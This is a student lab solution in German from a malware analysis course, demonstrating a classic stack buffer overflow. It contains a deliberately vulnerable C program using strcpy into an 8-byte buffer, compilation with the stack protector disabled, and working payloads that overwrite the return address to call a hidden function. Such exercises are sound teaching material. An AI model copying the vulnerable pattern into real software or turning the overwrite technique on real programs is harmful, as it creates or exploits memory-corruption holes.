**Malwareanalyse und Reverseengineering: Praktikumsaufgabe 3**

**3.1 Buffer overflows**

a, Programm mit Funktion a, b und main:

#include <stdio.h>

#include <string.h>

void overflow\_function()

{

printf("HACKED!!\n");

system("/bin/date");

}

void silly\_function(char \*src)

{

char buffer[8];

strcpy(buffer, src);

//gets(buffer);

}

void main(int argc, char \*argv[])

{

printf("Adress of overflow\_function: %p\n", overflow\_function);

silly\_function(argv[1]);

}

b, Übersetzen des Programms (hier: overflow.c) ohne „stackprotector“:

Durch folgende Kommandos:

* gcc -fno-stack-protector -o overflow.o overflow.c

c, Erzeugung eines Overflows, der ein Programm zum Abzustürzen bringt:

* Die Buffer-Größe des Programms beträgt genau 8 Zeichen.
* Als Input werden nun 16 Zeichen an den Buffer übergeben.
* Starting program: …/Desktop/overflow.o "AAAABBBBCCCCDDDD"
* Adress of overflow\_function: 0x40060d
* Program received signal SIGSEGV, Segmentation fault.
* 0x00007ffffffde290 in ?? ()

d, Programmfluss so umleiten, dass die Funktion b aufgerufen wird:

* Via Funktion „strcpy()“: user@TP:
  + /Desktop$ ./overflow.o $(python -c 'print("A"\*24+"\x0d\x06\x40\x00")') (Mit Python-Trick, print erkennt Esc.Seq.)
* Via Funktion „gets()“ (Berücksichtigt Escape-Sequenzen):
  + /Desktop$ echo -e 'AAAAAAAABBBBBBBBCCCCCCCC\x0d\x06\x40\x00' | ./overflow\_gets.o
* Ausgabe:
* Adress of overflow\_function: 0x40060d
* HACKED!!
* Mo 24. Apr 09:54:25 DST 2017
* Speicherzugriffsfehler (Speicherabzug geschrieben)